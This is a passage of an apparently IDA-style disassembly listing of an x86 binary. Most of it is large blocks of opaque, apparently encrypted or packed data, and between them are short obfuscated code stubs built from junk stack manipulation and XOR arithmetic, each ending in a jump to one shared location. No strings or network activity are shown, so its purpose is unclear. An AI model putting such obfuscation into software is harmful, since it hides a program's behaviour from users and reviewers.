0CFEC8CB5h, 0F2FFABA3h, 0AC364486h, 3F925BE6h, 384D4540h dd 4F7h, 24FC293Bh, 4B56E5B0h, 310DC14h, 42254F04h, 219AD012h dd 0E05D9624h, 0D8D85A3Ah, 27000004h, 0B9E48B13h, 0B7A06BDFh dd 0BFDC1460h, 0A8303EB2h, 3FF9DFD7h, 0DBDAAB31h, 0CE8A95E0h dd 0DED3EF99h, 6CE623E6h, 0F90279D5h, 3C34FCCh, 0DB0E0615h dd 9762D6A2h, 73DCBECCh, 557A7986h, 0D785828h, 2F7A4BD2h dd 9AED77EAh, 20B95B26h, 243169DCh, 0E9707EB0h, 931A2018h dd 0B13856C2h, 0B87189E0h, 0A1A28488h, 7C79Ah, 8D15A00h dd 27F87E9Ch, 44159DBBh, 6730BAD8h, 8758DDFBh, 4C105C1Bh dd 6C8AF6C7h, 8EAC18E1h, 0AFCD3902h, 0E6EB5728h, 67016F3Ah dd 0E3F1D01Bh, 0FECF56D0h, 0D5A3DAFFh, 49D59661h, 60FDC14h dd 7DB9CFF6h, 0E8948C0Fh, 8A8952DEh, 3B3A0B92h, 119DED40h dd 4F81F548h, 0FFCABC41h, 0D01284F1h, 29217481h, 62CE9723h dd 0B98A1220h, 0C1C7BFBAh, 0B86D6C35h, 0D01284BAh, 3923AEBCh dd 1284006Eh, 90E3F0D0h, 949BD598h, 51CCD012h, 0C1457ECFh dd 1F7294ABh, 4D5BE0ABh, 0E1BDA17h, 28105A0Fh, 2CA5DA17h dd 2331632Fh, 0D3CECD9Eh, 1728A8C6h, 433B48DAh, 3F8E9C57h dd 1D9750h, 29E60000h, 0E5B024FCh, 0DC146596h, 28444350h dd 65C52BF6h, 0A0ADD012h, 1993A8h, 32960000h, 4AD09E24h dd 0FB2E2679h, 0A273F982h, 0AB10DB4Fh, 0CBDC1458h, 5602BFBEh dd 85A7FECFh, 0CAC8B65Ah, 6C6C2C9h, 0D25B0000h, 0F97F9D09h dd 169EBC28h, 31BBD945h, 59DEFC68h, 115D1C88h, 8BF7C84Dh dd 0AD19E26Dh, 0CE3A038Fh, 0EC5829B0h, 2703BE7h, 0F2D01B66h dd 0FC29D1E4h, 46E5B024h, 20DC144Ah, 0A26D9F13h, 0D012434Ch dd 6A1F1724h, 0AE1AEB72h, 5F7918D3h, 4BDF4BFBh, 926994DFh dd 8AF43F08h, 0A0C0990Dh, 0CE0074C7h, 6B6A3BC0h, 0F6B57870h dd 0F2F15A33h, 92915AE4h, 0E6F39F97h, 0CE99CBE7h, 0E5403BA0h dd 60844B50h, 0C9B3C693h, 0F2787E76h, 0B07BAD21h, 0E5401B42h dd 0B2D2532h, 47BB45C0h, 452DBF7Ch, 373039EFh, 299A3CE7h dd 0C8992171h, 0A31724D0h, 0C034D79Ah, 0E6DEAB39h, 30727C31h dd 4EC7EF45h, 9208C351h, 3903656Dh, 52000001h, 3803FC29h dd 0D611453Ah, 0B3C18CBAh, 43D61145h, 1C90E336h, 144AEA51h dd 807F8CDCh, 0C4300188h, 4F4E1FA6h, 0DA9B2533h, 35C8E54Fh dd 0A09FF29Dh, 1EAADA5h, 0A7FB5F38h, 20A74F4Ch, 93A1E34Fh dd 0ECBD4309h, 0A79FF2EDh, 4A491AA1h, 12FDDA95h, 383514D0h dd 9D25E6Ch, 11170F0Ah, 2F4DB98Ah, 8253DAA8h, 46B2BB2Fh dd 91F2512Ah, 0F4FAC539h, 7C82881Ch, 0A6C2776Fh, 44430C98h dd 0EB1E5149h, 0F0DEA91Dh, 8082881Ch, 41BC0773h, 461143B7h dd 82881C28h, 99C3BBC8h, 8D3771CEh, 0FC0188h, 0D51BE6B8h dd 9D8C8D57h, 0D1664590h, 585728B0h, 43B70A5Dh, 0DDDCAD35h dd 3D35EAE2h, 6871E5B6h, 48879288h, 1D531EFCh, 0D58C8D3Bh dd 5B7D75C8h, 0E6E5B63Dh, 8D3BAB31h, 6F6C4B8Ch, 36F40C7h dd 0F9022828h, 0C555C510h, 0E3B43B59h, 0A82F3D6Fh, 0D0DDD8D7h dd 18E1FDA2h, 0A09F70F8h, 0AAA2AFA5h, 53E240F5h, 0D53092A8h dd 0D8A930D8h, 0F6C74E6Ch, 0CDABD2F7h, 31898E59h, 0F92B892Ch dd 879465EBh, 8D2ACD69h, 0E210DB09h, 928D2ACDh, 8E3A3285h dd 3CE81581h, 0EB000000h, 0B024FC29h, 146596E5h, 444350DCh dd 89F5C64Ch, 0E3F00E70h, 9059E5B6h, 0CF439691h, 696839C1h dd 0CA931E6Eh, 0EFDDA8D2h, 67D0125Fh, 616F2B5Ah, 0BB840FD5h dd 6F6EC1BCh, 56B17C74h, 5092FECFh, 451D531Eh, 0C8D5D611h dd 98609DD0h, 508E5924h, 3B48DC14h, 0FC8795C7h, 41393433h dd 72E6AF3Bh, 0D0CDD64h, 6CBF9015h, 3F5B5021h, 150DC30Ah dd 8049D5F3h, 57215C81h, 405718E3h, 20FDA17h, 5B244E03h dd 0D845DA17h, 36BECC40h, 5B7B7944h, 0EEFBDA17h, 4779A39Bh dd 0EEEAF39h, 7AB91131h, 72352D80h, 0D012B3B5h, 85A1A0ADh dd 0AC20F177h, 18AB93E1h, 5E5663C4h, 18AB519Bh, 706DE6C4h dd 300DE9E2h, 2D244Eh, 32730000h, 0E3AE9824h, 0D611458Dh dd 0D055865h dd 61D5A3DAh, 14654196h, 6FF701DCh, 0F5C64E9Eh, 34A8FBF6h dd 0D9D19A26h, 291D24h, 29200000h, 3A3803FCh, 0BAD61145h dd 0B4E65AADh, 0CE40DABh, 3B33DB7Ch, 142B3378h, 0B22633DCh dd 0C3BFB580h, 2A37D012h, 56C07D32h, 0A97A01CFh, 703BAFAAh dd 0D6114502h, 3B92E5F2h, 0C8B65B0Fh, 89606768h, 98000003h dd 0BCDA460Fh, 0DBF96536h, 0F8168253h, 1B39A56Eh, 9A59C596h dd 34058A4Eh, 561FAAC8h, 7740CCEAh, 9566ED0Bh, 0AD782429h dd 0D01B6347h, 560E212Fh, 7FFFECFh, 0F843AF80h, 0B47FF38Dh dd 0DC144A9Fh, 88960A17h, 37323102h, 9BD58A3Fh, 20D01240h dd 0C6FF4F58h, 472BC042h, 0E977744Fh, 5A3A48E2h, 3829h dd 327800h, 11453F35h, 0B2AAB7D6h, 67A067Fh, 7041C6D4h dd 872B7671h, 896192DEh, 486B2E26h, 22DC1439h, 17611615h dd 0ACD01231h, 23A83633h, 0EA5A3A97h, 0E1h, 0FECF5639h dd 0B18207FFh, 0D9AA2F3Dh, 32E7DFDAh, 6EE2B33Ah, 1109DA60h dd 0CDD645Ch, 0C4505EA0h, 901FCFBh, 114A0346h, 0F1C249D6h dd 12E06785h, 6D6CBF88h, 0CF43DD48h, 6F6E37C1h, 0CF22EB77h dd 6D7BADD7h, 5E2119E2h, 0DC14485Dh, 549A6597h, 1CD0124Eh dd 5E6B170Fh, 87EDB8EAh, 6FD0124Eh, 0FD486A62h, 7B84F880h dd 92FD3412h, 5781796Ch, 159D048Ch, 0AF2330DAh, 0DF4B1CA1h dd 146B3CC1h, 0D4BF77DEh, 61434A4Bh, 0C0000002h, 0E4026E37h dd 3218D5Eh, 203EAA7Bh, 4361CD96h, 0C281EDBEh, 5C2DB276h dd 7E47D2F0h, 9F68F412h, 0BD8E1533h, 0D5A04C51h, 0D01B629Fh dd 56364957h, 529400D1h, 0EEEDBE44h, 6EF5FBF3h, 931B299Dh dd 45CBC3C2h, 277A7574h, 0BDCB0D2Fh, 6E666536h, 0CCC417E8h dd 2CFC2901h, 7367C768h, 0A374F95Ch, 356A9A4h, 1EE3C48Fh dd 6E7BDC14h, 0DCB0BA6Fh, 58DED012h, 9908887h, 521D3938h dd 0D012DC1Ch, 5D66C7D4h, 138CB560h, 7A438816h, 0F3CA5A3Ah dd 19000000h, 0FFFECF56h, 7E4FD5E3h, 868C847Fh, 0DEA73301h dd 9291E4DFh, 114ABCDDh, 8B59E0D6h, 3B363506h, 6B6B74E8h dd 0FCF2BDDBh, 74D611B4h, 0B61B1C67h, 0F1A522F8h, 32858786h dd 73FA183Ah, 77EA3A2h, 793A0579h, 73DC1401h, 1D16DF65h dd 0FD13F28Eh, 0A6C2C114h, 121095DBh, 0FD505DD0h, 0E04C5905h dd 0E936895h, 1023511Ch, 0C6D3D012h, 0F17C7473h, 0E82D528h dd 10E311DCh, 8693D012h, 2432648Eh, 15D8D099h, 0DA15A21Ch dd 0CBD94D5Ah, 0EB097546h, 0FE3E9566h, 7FD4BF63h, 12E777Eh dd 6AF30000h, 911735A1h, 0AE3654C0h, 0C95371DDh, 0F1769400h dd 0A9F5B420h, 238F60E5h, 45B17A05h, 66D29B27h, 84F0C148h dd 0EA08D37Fh, 8AD01B6Dh, 0D156697Ch, 0F37E8C00h, 0A8332B2Ah dd 92E5E0DFh, 451D531Eh, 0C8D5D611h, 990AED0h, 7C8ACC38h dd 2C2726F7h, 0CF566934h, 8007FFFEh, 45ADC38Eh, 1745D611h dd 1145264Ch, 6EC1CED6h, 0D99A71Bh, 0C64D4544h, 0A8FBF6F5h dd 450B6934h, 0DEEBD611h, 0C79C4E6h, 2120F177h, 0AD02A22Eh dd 0FB4E1E47h, 9B2634A8h, 2A7D4ED5h, 753D0832h, 1DC1BDEh dd 834E80F4h, 0D01B9C6Dh, 0A66FFB05h, 6159ACA7h, 5C2DB4ACh dd 7D4BD2F0h, 0D7D629F2h, 58D0B2BBh, 0C63043DFh, 8410BCEh dd 4CA7159Ch, 4F20A74Fh, 793A1E3h, 4C443F3Eh, 0EFEEBF46h dd 20A76DF7h, 6934504Fh, 95812D0Bh, 388BDEEBh, 0DFED1B39h dd 918C8B54h, 19C1BE99h, 9FD5A092h, 5795812Dh, 6D8BF74Ah dd 0FA1615E6h, 2DF7FDC8h, 9B259581h, 0D7CFDCD2h, 17C2h dd 26346600h, 0ADC3D0A1h, 0F095812Dh, 63FA4475h, 212E242Bh dd 3D545E29h, 504CD56h, 0B6B5860Dh, 6A6932BEh, 1F1EE772h dd 0D2D1A227h, 858455DAh, 3B3A038Dh, 0EBEABB43h, 9D9C6DF3h db 6Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 sub ebp, ecx pop ecx xchg ebp, [esp] pop esp push 1E2Dh mov [esp], edi push 6460h mov [esp], ecx push ebp mov ebp, 5E21829h push edx mov edx, 28056Ch add ebp, edx pop edx mov edi, ebp pop ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push eax mov eax, 8 add eax, 71020E8Bh add eax, ecx sub eax, 71020E8Bh mov [eax], edi pop eax mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_4F2EAD ; --------------------------------------------------------------------------- dd 0E04DC077h, 0F0B808BFh, 3060A29h, 3CE0FFC5h, 4850BBF2h dd 9A12E525h, 0DF3DA98Bh, 0B6143618h, 0B127F9C0h, 0C51112Ah dd 610A8BA0h, 2B740ABCh, 65799297h, 0EB0401BFh, 11CAFC04h dd 56CE944h, 820B0000h, 0A92F4DB9h, 0C64E6CD8h, 0E16B89F5h dd 98EAC18h, 0C10DCC38h, 3BA778FDh, 5DC9921Dh, 7EEAB33Fh dd 9C08D960h, 0D220EB97h, 0A2D01B6Fh, 0CF568194h, 0ABAA7B01h dd 665E5DB0h, 86A410E1h, 132F2EFFh, 0F63E390Ah, 0E85C23ABh dd 11E2D71Dh, 9A929FD6h, 0C83C0D94h, 94DE8DBFh, 30289363h dd 2CFD837Bh, 0F5F24D2Dh, 89F5C64Dh, 2AF5DF6Bh, 0D61112C4h dd 0E04C9FACh, 6E6D36C2h, 0AE22EB76h, 4A491AA0h, 84A2574Fh dd 7400A8A5h, 9A213FABh, 0BC4755C9h, 1F9F4F3h, 9822304Ch dd 0DB14D7CFh, 39D61112h, 0EDE5E4ADh, 0E39B9A63h, 15903B38h dd 3EB54340h, 0F55C39B4h, 53h, 0FECF5644h, 45224AFFh, 7045D611h dd 0E3EEE573h, 1255C39h, 74000000h, 0FFD056h, 3DB18208h dd 0D8D7A82Fh, 3830E5DDh, 9263E8AEh, 43149B93h, 4819A0F0h dd 0FCFB4E49h, 0DD64721Ch, 26F10D0Ch, 0D61145C8h, 50489BA8h dd 4AD07875h, 68EF0D79h, 32482B97h, 0D9D19A24h, 97D4ED3h dd 45E60CD7h, 818ED611h, 56DCD489h, 19D88685h, 0BD42501Ch dd 69EEF4ECh, 870E2C98h, 37BFB7B6h, 0F5C0F266h, 0D61145FFh dd 0BD726A77h, 0AA7673ECh, 176308A1h, 0D5CDB0FAh, 39BBF2E9h dd 47414A5Ch, 347ACE6Ch, 718AC5BDh, 0D9000000h, 100D156h dd 0B1B08109h, 0D17976D1h, 0F10F7B4Ch, 809C9B6Ch, 1E1DE672h dd 9B252B23h, 2C7F50D5h, 0E6E35C2Dh, 39E18358h, 88D9B5Ch dd 4F254B16h, 0C0CDD611h, 7B736E6Dh, 5B40h, 0D1568F00h dd 7D090100h, 183740B4h, 0ED03CE96h, 85D61171h, 907B2D78h dd 0CD20E975h, 0E1720D5h, 13E46911h, 3B0C919Fh, 2749413Ch dd 8152D7E5h, 0C48F8782h, 0FFD056h, 1145204Bh, 1AE870D6h dd 0C7C2C192h, 0F37D7574h, 19222B2Ah, 21F6711Ch, 0E35D9624h dd 1D85C39h, 27000000h, 7900CE56h, 3EE25DA8h, 61AADA71h dd 0E5F30F0Eh, 948F8E5Fh, 3E0F969Ch, 6435BCCAh, 0BA99B76Ch dd 9B8D15BDh, 1174A2D0h, 0D04D52D6h, 0E1495F81h, 0BE2A7DD0h dd 4D184A7Ch, 0D6112C27h, 0BFB5C2CFh, 37D6112Ch, 86FF322Ah dd 53A677FDh, 0E1714DFh, 4A4FDC14h, 37DC1353h, 0CAC91C16h dd 4819A0AEh, 50564E49h, 0DAA5D7C9h, 0D012A594h, 2C424F5Ch dd 0C4D012A5h, 0DAF864B7h, 0CE838253h, 0D012A5A6h, 35DDDAE3h dd 5371DDAEh, 0D85203CCh, 0C31E63Dh, 12BC3341h, 63B6C3D0h dd 0E7F51110h, 91978F60h, 0E8B63C0Ah, 3D3C8F60h, 42F0EF42h dd 9E5F2B34h, 9F55AB5Ah, 0FFF74A13h, 0F87F2724h, 0A172F806h dd 125B5E94h, 0B60916D0h, 0BD6084Ah, 0D0125BE5h, 5B41B438h dd 0E7DDC76Ah, 0FDF6E2DAh, 495A3AE4h, 0B47D0917h, 47ADBAB5h dd 2FD0124Eh, 25EF2A22h, 3E000001h, 0B024FC29h, 145F4AE5h dd 2BF624DCh, 0D0125EC5h, 0FEFDCE53h, 7D030D03h, 5FB2ADACh dd 8E150D0Ch, 0AC3351BDh, 5DE4DCDBh, 0D1DF8D8Ch, 0BB404C8h dd 130B0804h, 0C933B38h, 0CBCF3Bh, 0B5A3A21h, 2Ch, 29F1295Ah dd 4534EAB5h, 0AFBCD611h, 44F5FBB0h, 0B863D611h, 0E9B2E6BBh dd 9A95945Dh, 5A08D347h, 0DAD61144h, 0B53461CDh, 37000000h dd 0B024FC29h, 14674EE5h, 0A71B28DCh, 44431499h, 809C5149h dd 1E1DE672h, 9E252B23h, 8814AD0h, 6D1D1790h, 9F9A99ECh dd 0DBA6D84Ch, 0D012E895h, 0E8DE14DFh, 8996D012h, 30018993h dd 0EBE33631h, 5324ABC9h, 0EB5A9F54h, 0A8B1D012h, 94D6DFABh dd 0C697B66h, 9B222820h, 0EA1C5ECAh, 12FBD11Fh, 0EEBF47D0h dd 0C0F3EBF8h, 7C47BB45h, 0DA18D1AEh, 44159CA6h, 105E2945h dd 0E0DA1CADh, 2E2D80D3h, 5CE1AF36h, 92C4388Bh, 1CADA9C7h dd 443C49DAh, 9592718Fh, 47BB45C0h, 1687AE7Ch, 951A28D0h dd 41CDC5C4h, 2B7E7978h, 67A8733h, 0A6A56EF8h, 0AE91B3ABh dd 9D27FC29h, 420D81D4h, 0DC1B6FF4h, 0E2EB5F6Ch, 0E26EE2E4h dd 0D41F1A19h, 0A29A3995h, 9D6EF5EDh, 0BB8C1331h, 0DE3F07BCh dd 4BF51E27h, 99204E19h, 0C3D09E37h, 4BF3F0CBh, 6987F3C4h dd 1A1211E2h, 0D0C8C790h, 867E7D46h, 27302F00h, 76211Eh dd 0A36EA0D2h, 9E37994Dh, 0E50B1825h, 8D9E3799h, 5B3F5488h dd 0E83BFAD4h, 701815F0h, 8EAC18E9h, 90C23607h, 1D2AFB82h dd 9E3715D7h, 0E59A929Fh, 6334BBC9h, 0A566Bh, 32590000h dd 0D1D09924h, 0BFD6DED6h, 504CD56h, 0B6B5860Dh, 6A6932BEh dd 1F1EE772h, 0D2D1A227h, 858455DAh, 3B3A038Dh, 0EBEABB43h dd 9D9C6DF3h, 5F54576Fh, 4C781h, 0EF830000h, 243C8704h dd 0E689565Ch, 4C681h, 0EE810000h, 4, 5C243487h db 89h, 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push ebx mov ebx, 3BD54F7Eh dec ebx xor ebx, 3DDF65C8h mov edx, ebx mov ebx, [esp] add esp, 4 push 77BFh mov [esp], esp add dword ptr [esp], 4 pop esi push edx push ebx mov ebx, 75620B0Fh xor [esp+4], ebx pop ebx pop dword ptr [esi+8] xor dword ptr [esi+8], 75620B0Fh mov esi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_4F2EAD ; --------------------------------------------------------------------------- dw 0E24Fh dd 0BA5EC4D0h, 80B831D8h, 3060A2Fh, 0E7E0FFC5h, 9B5CD64Eh dd 0EF609515h, 2B571EC5h, 3B570F8Dh, 4E0248E1h, 3D457144h dd 0E77FF15Eh, 0BE653C37h, 0EB62FC30h, 5EDB1E04h, 59EE909h dd 26AF0000h, 4DD3F15Dh, 6AF2107Ch, 850F2D99h, 0AD3250BCh dd 65B170DCh, 0DF4B1CA1h, 16D36C1h, 228E57E3h, 40AC7D04h dd 0AEC48F3Bh, 46D01B75h, 0CF562538h, 8207FFFEh, 0A02745B1h dd 2F824BD2h, 0B982F8FBh, 3C373689h, 0C5CEEAE9h, 0D25943CFh dd 8F88B601h, 0FA81877Fh, 0AC322A29h, 59E4DCDBh, 104EA46Fh dd 1926D611h, 4ACFC7C6h, 935E7A79h, 0D611105Dh, 4DF80815h dd 9EA1AD50h, 3C683FB0h, 5956B1E9h, 0ED592AB1h, 0FE8243CFh dd 0EB81A961h, 0ABC93588h, 3B57561Fh, 96E98932h, 0DED6A5F1h dd 85844DD8h, 3534058Dh, 0EBEAB33Dh, 8B3B00Bh, 67326492h dd 0D6112D09h, 3D3C058Fh, 0B8424C42h, 0A2F5F0EFh, 6D2CFAAh dd 0A4A36CF8h, 1FABB1A9h, 0E5B0E256h, 0D6112D8Fh, 452F7A12h dd 8B814D9Ah, 0D9A22E7Eh, 0C5E7DFDAh, 504F20A7h, 1155509Bh dd 0C3C095D6h, 39F3BE35h, 0A4755Ch, 56C40000h, 767D06CFh dd 0E91A0532h, 1195D01Eh, 4093A0D6h, 0C9D2EEEDh, 0CD1E1117h dd 0FD2CA8Fh, 0D61108E7h, 0E9B4E60Ah, 0D611088Bh, 0ADB616Bh dd 0C5BD100Bh, 945FEDEAh, 0B05C39AEh, 504F18A2h, 0E225D55h dd 12000000h, 37AB7C04h, 1104066Ch, 0E9E1EED6h, 0DED0561Eh dd 4593E1ACh, 5663D611h, 11452B49h, 3AC1CBD6h, 1C6F6A69h dd 0C24755C9h, 0FFF7F2F1h, 96202E4Ah, 0DBD3CECDh, 0FB814FD5h dd 45303E09h, 0B3C0D611h, 13666160h, 2DEFF814h, 486F3439h dd 0EC767C74h, 0E9442423h, 0EDBE44ECh, 0BDC6381h, 2432BC9Fh dd 0CDD3CB9Ch, 80787748h, 7C2A29FAh, 9318C0BDh, 4598D6A1h dd 4B58D611h, 0E76E8CF8h, 1BC5341Eh, 9A26EE2Ch, 2C2B7ED1h dd 67DBAC34h, 0C04CD59h, 100D8657h, 25FD3B44h, 32B45D1Ch dd 8E8D56E2h, 34AF9B93h, 0FF5C39BFh, 9Bh, 0F700324Eh, 0F986068Bh dd 53A1AE2Bh, 23D611E5h, 93181E16h, 0E598D6A1h, 4B58D611h dd 7901F9F8h, 25B1A9A8h, 76415D5Ch, 0D611E578h, 109BEBF8h dd 0DB9A4847h, 0A0FB33DEh, 0A576FBA3h, 0C5961B39h, 7B44CEC6h dd 3532AB7Ch, 58CD6069h, 0F8F7C84Dh, 0CA8EB2FDh, 36AD9991h dd 0FD5C3964h, 5Bh, 0D1564Ch, 618F5A8Ch, 11D61145h, 45DA18E3h dd 8D9AD611h, 718D423Ah, 170FD863h, 48BC8511h, 466BDB3Fh dd 0B2024905h, 625D5C2Dh, 0A3ACB56Ah, 47CCDAA6h, 0F3787E76h dd 56D3B622h, 4B00FFD0h, 0D6114520h, 4D182145h, 69B42C8h dd 0ACA9847Ch, 392AD51Eh, 1605Ch, 32AF0000h, 453F3500h dd 0AAB7D611h, 5324ACB2h, 4D55C54h, 0B08E705h, 9E0ADB63h dd 0FAC34E5Ch, 0CA56CF02h, 0F2C34856h, 2605D0FAh, 40DC1467h dd 26B1BF33h, 0B8B0655Dh, 0BDC6331h, 0A72E4CB8h, 0B2BBD7D6h dd 0E4AFFBCFh, 0D012538Eh, 450E5966h, 874A42C5h, 0D012486Fh dd 0EE96939Ch, 14229667h, 0A7C9C18Ah, 32310289h, 0E3E2B33Ah dd 999861EBh, 4F4E17A1h, 3AE5E2A1h, 0D0787534h, 80C7849h dd 5A3AEEC3h, 1644Ah, 0A42C3A00h, 2910DBD3h, 7EB024FCh dd 1A19EA70h, 0CB64271Fh, 25DC145Fh, 37C9581Ch, 20A82562h dd 255504Fh, 65305E0Ah, 0D012E20Fh, 8455DDE7h, 0C3378A85h dd 12E2FAF8h, 1A6D7AD0h, 0AA9C231Bh, 12E291DFh, 15461D0h dd 62905B8Dh, 0B8D012E2h, 5C695F30h, 9D244264h, 4ED5CDCCh dd 0E263915Ch, 0E13D012h, 0BD469179h, 0C4176A5Ah, 0E9BA4250h dd 0CF8E3CF1h, 0D2A32AD2h, 46696266h, 4FA45A3Ah, 0F3000000h dd 0A22CF129h, 8CDFDAD9h, 45974D18h, 121FD611h, 45105E13h dd 0CCC6D611h, 676637BEh, 33DF2474h, 0A9FC39F5h, 4D9D6B1h dd 5E900494h, 8F9F8055h, 159FAC9Dh, 0FF524D4Ch, 1A9E4407h dd 916D611h, 33FC8795h, 1F413934h, 94F2h, 0FC29F500h, 4EE5B024h dd 28DC1467h, 9D241C1Bh, 101E60CCh, 7A45B98Ah, 0D0126674h dd 0F1F7EFFCh, 7E9A996Ah, 0FA9F1475h, 1274C12Fh, 59A4B1D0h dd 0A02C80Bh, 12442247h, 535059D0h, 26F47987h, 8880D39Ch dd 0BE2AFB82h, 824D0A73h, 0D012466Ch, 0E50BD604h, 8DD01246h dd 66DA2D80h, 1876E19Bh, 0E85C69DAh, 8B8354DAh, 8657DED6h dd 323B6987h, 36E209D5h, 0C72DF816h, 0AFDA1CFDh, 7C574FA2h dd 0A573AA7Fh, 6CF1FF31h, 0A9A19C9Bh, 16CD3CE6h, 3BA7B4D0h dd 24FC2958h, 753BE5B0h, 0A6B3DC1Bh, 5728AFA7h, 7D46CDEBh dd 64B610E7h, 5150A393h, 6C6FFC9Ch, 0DEDB36E3h, 72DEAF36h dd 0FDFCCD54h, 29B57B05h, 0B80BDC63h, 317EC6B9h, 7CE27DB1h dd 0B9D7D629h, 608E598Bh, 10C34EACh, 8D29B803h, 0DDC1AE6h dd 953D3A15h, 0B3D13D0Eh, 555C5B2Ch, 3, 563D5458h, 0D0504CDh dd 0BEB6B586h, 726A6932h, 271F1EE7h, 0DAD2D1A2h, 8D858455h dd 433B3A03h, 0F3EBEABBh, 6F9D9C6Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 4 add ebp, edx pop edx sub ebp, 4 xchg ebp, [esp] pop esp push 5C8Ah mov [esp], edi push 2A4Ch mov [esp], edx sub esp, 4 mov [esp], ebx push 52D80CC6h pop ebx shr ebx, 4 add ebx, 0DCAF8Dh mov edi, ebx pop ebx push esp mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], edi pop dword ptr [edx+8] mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_4F2EAD ; --------------------------------------------------------------------------- db 0DCh dd 24765127h, 0A3573B8h, 0FFC50306h, 0D50F03E0h, 49E88A6Ah dd 2B29BE1Ah, 5D388B14h, 0C9679D7Ah, 0E317E73Fh, 0C4D05E08h dd 4D68FB44h, 0E430916h, 0E6DA6E23h, 0E82CEF08h, 5462C426h dd 521A1F39h, 0AFBC8A09h, 2425B231h, 23000F1Fh, 68D8D68h dd 0BB060A37h, 129B181h, 19EDBD8Bh, 8D890603h, 60320A5h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 7EC35545h dd 0A1BD06BFh, 8B52AAD3h, 3310DB5h, 48E0F06h, 66000000h dd 0C72A18BAh, 31A6585h, 63D406h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 832C86AEh dd 9DF9ED24h, 0BB66C81Dh, 85C711F1h, 6030071h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0F3C35646h dd 515B5DFFh, 615F5360h, 0B1B5FF5Fh, 0F806031Ah, 171D95FFh dd 0B58B0603h, 6032141h, 95FF006Ah, 60323A5h, 2AEBC08Bh dd 90DE5C09h, 0B46B4319h, 0FE8A43C2h, 0F17EE9E2h, 0C62AECADh dd 0B6A56C88h, 444926FFh, 0C1DEAF17h, 0A3735BA2h, 0E71FD7EEh dd 4EB9530h, 37985F5Ch, 53AE9h, 440D9600h, 6334BAD8h, 8051D9F7h dd 0A36CF614h, 0C3941937h, 884C9857h, 0A8C63203h, 0CAE8541Dh dd 0EB09753Eh, 22279364h, 7245AB76h, 1F2DD01Bh, 0FECF560Ch dd 0B18207FFh, 0C19343Dh, 0B300B426h, 0F47B99BBh, 0A52C2423h dd 57DDD5D4h, 79041286h, 0BEB6B1B0h, 717F2909h, 0C230FBE5h dd 0B2D6118Fh, 585352A5h, 0E0888560h, 0FE1C8859h, 0DD66B172h dd 2C12256Dh, 1D2B6DD9h, 0CBD1C992h, 0F402763Fh, 0A5A09F68h dd 7500F8ADh, 0B08FADACh, 51D9E7B3h, 0F6828880h, 84D7A830h dd 0A273FA18h, 0FD85EEA3h, 0C4E8D611h, 0FDA9C792h, 0CAF4D611h dd 0F2F15960h, 5D556258h, 0ABB98582h, 725E561Fh, 5C39FA79h dd 42B4h, 0CF560300h, 224AFFFEh, 45D61145h, 0EEE57370h dd 255C39E3h, 0Bh, 0DA18E315h, 9AD61149h, 56CA958Dh, 800FFD0h dd 0BAB2B182h, 88686730h, 288302Dh, 20A7C531h, 93A1E34Fh dd 6AF04009h, 56D6A199h, 0AC7D03D1h, 0D862B2ADh, 0C215100Fh dd 7445CBC3h, 0B08C775h, 0A10DDE63h, 2C2BFC83h, 0DCDBAC34h dd 8C8B5CE4h, 42410A94h, 67333039h, 1145569Ch, 0BE111ED6h dd 911F1C95h, 5C39E14Ah, 99C1h, 0D1561000h, 91D48208h dd 9BEE252Fh, 4B1CA49Ch, 712FCED7h, 0DD335EF0h, 0F55030E5h dd 0FACB50F8h, 4F1A4C8Eh, 0D611F821h, 0C6CCC4D1h, 79717041h dd 69EB2EEFh, 0D90452F4h, 3DB68786h, 2729B240h, 83E45C39h dd 0D4000000h, 400994A2h, 3B394641h, 0BBD61189h, 85B2CB1h dd 0D1564510h, 0AFAE7703h, 6A6261B4h, 1E1615DEh, 95DBA698h dd 5DD61145h, 6FEFD50h, 0D3B3B27Bh, 6FD07B78h, 0B2830917h dd 3AE2DFBAh, 8F60E7B5h, 0CB96C83Ch, 0D61145A5h, 0EFB8434Dh dd 0AAA2F5F0h, 0D056A588h, 204B00FFh, 70D61145h, 231B1AEBh dd 0D9D1D099h, 8B86854Eh, 2FFBF853h, 11450E64h, 86D9E6D6h dd 0AB39360Bh, 5C39E320h, 1EBh, 24323A00h, 0CDD3CB9Ch dd 2EC7745h, 11453937h, 59ACB9D6h, 0D0C5F5Ah, 0FEF4BFF1h dd 76D61145h, 0E46B7169h, 33969F13h, 24EC1CDFh, 3F0893E3h dd 984D4540h, 4B4A1BA0h, 100C953h, 5C0704E3h, 620A07E6h dd 529D09DAh, 0ED94D2Bh, 0DC148129h, 0A0A24449h, 5D8BDE71h dd 9F269012h, 378AD18Fh, 0E8B94038h, 6D75E7Ch, 5F1A5207h dd 0ED78D015h, 0A72D2524h, 9CF7D7D6h, 3B93F49Fh, 0A0419732h dd 251D4C3Eh, 73814D4Ah, 1E241CEDh, 4452C697h, 0F1ECEBBCh dd 32B9D7F9h, 8910DE64h, 6B6665B8h, 9A211918h, 5D1CCAC9h dd 6031B860h, 6DFBF0F4h, 1E325A3Dh, 81000001h, 0B024FC29h dd 145F4AE5h, 181724DCh, 0BDD09920h, 92ED82B7h, 0D5F35FB2h dd 28F9804Eh, 0DCDB2E29h, 8D8C5DE4h, 7B2320DFh, 75B723F4h dd 1C7A7843h, 0F5FAD012h, 1B4FD6C0h, 0D3CB1E30h, 3A59ECE7h dd 47275Ah, 29760000h, 83B529F1h, 3167667Ah, 0E3DB50DCh dd 11BF6220h, 0AF6B74D6h, 